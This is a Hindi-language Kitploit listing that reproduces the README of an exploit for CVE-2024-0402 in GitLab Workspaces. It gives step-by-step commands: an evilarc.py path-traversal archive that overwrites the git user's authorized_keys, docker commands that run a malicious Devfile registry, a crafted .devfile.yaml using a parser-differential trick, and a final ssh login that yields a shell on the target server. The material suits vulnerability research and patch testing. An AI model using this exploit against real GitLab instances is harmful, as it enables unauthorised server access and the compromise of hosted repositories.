Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
malicious-devfile-registry — GitLab Workspaces के लिए CVE-2024-0402 एक्सप्लॉइट, दुर्भावनापूर्ण Devfile रजिस्ट्री का उपयोग करके पाथ-ट्रैवर्सल आर्काइव के साथ authorized_keys को अधिलेखित करने और SSH एक्सेस प्राप्त करने के लिए। | Kitploit
उपकरण/GitHubGitHub/doyensec/malicious-devfile-registry
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगआपूर्ति श्रृंखला सुरक्षारेड टीमिंग
GitHubdoyensec/malicious-devfile-registry

malicious-devfile-registry

GitLab Workspaces के लिए CVE-2024-0402 एक्सप्लॉइट, दुर्भावनापूर्ण Devfile रजिस्ट्री का उपयोग करके पाथ-ट्रैवर्सल आर्काइव के साथ authorized_keys को अधिलेखित करने और SSH एक्सेस प्राप्त करने के लिए।

रिपॉजिटरी देखेंवेबसाइट
15521 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

दुर्भावनापूर्ण Devfile रजिस्ट्री

इस प्रोजेक्ट में एक दुर्भावनापूर्ण Devfile रजिस्ट्री है जिसका उपयोग Gitlab में CVE-2024-0402 का शोषण करने के लिए किया जा सकता है।

शोषण

एक nodejs:2.2.1 स्टैक को अनुक्रमित किया गया है, जो registry-support लाइब्रेरी v1.1.0 से पहले में पथ-ट्रैवर्सल समस्या का शोषण करते हुए archive.tar फ़ाइल को उजागर करता है।

tar स्थान: malicious-devfile-registry/stacks/nodejs/2.2.1/archive.tar

इसे evilarc.py का उपयोग करके बनाया गया था, ताकि लक्ष्य Gitlab सर्वर में /var/opt/gitlab/.ssh/authorized_keys को इस रिपॉजिटरी के ssh-keys/ फ़ोल्डर के अंतर्गत SSH कुंजियों के साथ अधिलेखित किया जा सके।

root@kitploit:~
python3 evilarc.py authorized_keys -f authzkeys.tar.gz -p var/opt/gitlab/.ssh/ -o unix

एक बार चलने पर, रजिस्ट्री में दुर्भावनापूर्ण .tar को प्राप्त करने योग्य स्टैक्स में जोड़ दिया जाएगा। index.json में इसे स्टैक संसाधनों में सूचीबद्ध देखें:

root@kitploit:~
...
"links": {
          "self": "devfile-catalog/nodejs:2.2.1"
        },
        ...
        "resources": [
          "devfile.yaml",
          "archive.tar"
        ],
...

पुनरुत्पादन चरण

संस्करण <=16.8.0 के साथ एक Gitlab Instance EE कॉन्फ़िगर करें। दस्तावेज़ और हमारे समर्पित !exploitable series blogpost में अतिरिक्त नोट्स का पालन करते हुए उस पर Workspaces सक्षम करें।

जब भी तैयार हों, नीचे दिए गए चरणों का पालन करें:

  1. रजिस्ट्री कंटेनर इमेज बनाने के लिए इस रिपॉजिटरी के रूट में docker build -t devfile-index . चलाएँ

  2. एक स्थानीय कंटेनर रजिस्ट्री चलाने के लिए docker run -d -p 5000:5000 --name local-registrypoc registry:2 चलाएँ जिसका उपयोग Devfile रजिस्ट्री स्टैक को संग्रहीत करने के लिए करेगी। नोट: आपको अपनी आवश्यकता के अनुसार इसे उजागर करने के लिए कमांड को संपादित करना चाहिए। हमारे लिए, यह सब एक स्थानीय वातावरण में हो रहा था

  3. पहले चरण में बनाई गई दुर्भावनापूर्ण Devfile रजिस्ट्री शुरू करने के लिए docker run --network host devfile-index चलाएँ। नोट: पहले की तरह, Gitlab इंस्टेंस द्वारा पहुँच योग्य बनाने के लिए रन कमांड को अपनी इच्छानुसार संपादित करें

  4. लक्ष्य Gitlab सर्वर पर डेवलपर के रूप में प्रमाणित करें, फिर आपके नियंत्रण वाले रिपॉजिटरी के .devfile.yaml को संपादित करें। YAML को दुर्भावनापूर्ण रजिस्ट्री से लाने की अनुमति देने के लिए पार्सर अंतर का शोषण करना चाहिए

root@kitploit:~
schemaVersion: 2.2.0
!binary parent:
    id: nodejs
    registryUrl: http://<YOUR_MALICIOUS_REGISTRY>:<PORT>
components:
  - name: development-environment
    attributes:
      gl/inject-editor: true
    container:
      image: "registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676"
  1. Gitlab UI में फ़ाइल-लेखन को ट्रिगर करने के लिए, संपादित रिपॉजिटरी में एक नया Workspace शुरू करें। कुछ सेकंड के बाद, मनमाना फ़ाइल लेखन होना चाहिए और ssh-keys/pockey.pub को git उपयोगकर्ता की authorized_keys में जोड़ा जाएगा

  2. आपको git के रूप में एक अप्रतिबंधित शेल का आनंद लेने में सक्षम होना चाहिए:

root@kitploit:~
ssh  -i ssh-keys/pockey git@<YOUR_GITLAB_SERVER>
टूल डाउनलोड करें